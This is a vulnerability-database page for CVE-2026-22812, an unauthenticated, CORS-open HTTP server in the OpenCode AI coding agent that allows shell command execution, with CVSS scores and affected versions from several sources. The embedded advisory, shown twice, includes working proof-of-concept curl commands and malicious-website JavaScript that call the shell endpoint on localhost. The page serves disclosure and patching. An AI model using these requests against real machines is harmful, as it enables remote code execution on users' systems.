CVE-2026-22812
OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution
OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution
OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.
- Record
CVE-2026-22812- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-306, CWE-749, CWE-942
- Updated
- 2026-11-02
EUVDEUVD-2026-2092
8.8
OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.
- Record
EUVD-2026-2092- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-vxw4-wv6m-9hhh
8.8
OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution
Previously reported via email to [email protected] on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.
Summary
OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.
Details
When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:
POST /session/:id/shell- Execute shell commands (server.ts:1401)POST /pty- Create interactive terminal sessions (server.ts:267)GET /file/content?path=- Read arbitrary files (server.ts:1868)
The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().
No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: *), enabling browser-based exploitation.
PoC
Local exploitation:
API="http://127.0.0.1:4096" # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
-d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt # outputs: PWNED
Browser-based exploitation:
A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.
// Malicious website JavaScript
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
})
.then(r => r.json())
.then(session => {
fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
});
});
Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.
Impact
Remote Code Execution via two vectors:
-
Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.
-
Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.
With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.
Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.
- Record
GHSA-vxw4-wv6m-9hhh- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-306, CWE-749, CWE-942
- Updated
- 2026-11-02
NVD
8.8
OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.
- Record
CVE-2026-22812- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-306, CWE-749, CWE-942
- Updated
- 2026-11-02
OSV
8.8
OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution
OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.
- Record
CVE-2026-22812- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-306, CWE-749, CWE-942
- Updated
- 2026-11-02
OSVGHSA-vxw4-wv6m-9hhh
8.8
OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution
Previously reported via email to [email protected] on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.
Summary
OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.
Details
When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:
POST /session/:id/shell- Execute shell commands (server.ts:1401)POST /pty- Create interactive terminal sessions (server.ts:267)GET /file/content?path=- Read arbitrary files (server.ts:1868)
The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().
No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: *), enabling browser-based exploitation.
PoC
Local exploitation:
API="http://127.0.0.1:4096" # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
-d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt # outputs: PWNED
Browser-based exploitation:
A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.
// Malicious website JavaScript
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
})
.then(r => r.json())
.then(session => {
fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
});
});
Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.
Impact
Remote Code Execution via two vectors:
-
Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.
-
Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.
With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.
Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.
- Record
GHSA-vxw4-wv6m-9hhh- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-306, CWE-749, CWE-942
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
opencode-ainpm |
before 1.0.216 | 1.0.216 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | OpenCode < 1.0.216 - Unauthenticated Remote Code Execution | |
| PoC in GitHub | 0xBlackash/CVE-2026-22812 | 2026-04-06 |
| PoC in GitHub | 0xgh057r3c0n/CVE-2026-22812 | 2026-01-19 |
| PoC in GitHub | CayberMods/CVE-2026-22812-POC | 2026-01-20 |
| PoC in GitHub | Hex-Neo/CVE-2026-22812-OpenCode-RCE-exp | 2026-04-27 |
| PoC in GitHub | HodgeLuke/ai-agent-security-research | 2026-03-29 |
| PoC in GitHub | Udyz/CVE-2026-22812-Exp | 2026-01-16 |
| PoC in GitHub | barrersoftware/opencode-secure | 2026-01-19 |
| PoC in GitHub | mad12wader/CVE-2026-22812 | 2026-01-18 |
| PoC in GitHub | rohmatariow/CVE-2026-22812-exploit | 2026-01-16 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-22812 is a high vulnerability (CVSS 8.8) in Anoma Opencode, published January 12, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 16.5%, the 97th percentile. Fixed in opencode-ai 1.0.216.
References
github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh
nvd.nist.gov/vuln/detail/CVE-2026-22812
github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c
github.com/advisories/GHSA-vxw4-wv6m-9hhh
github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22812.json
github.com/anomalyco/opencode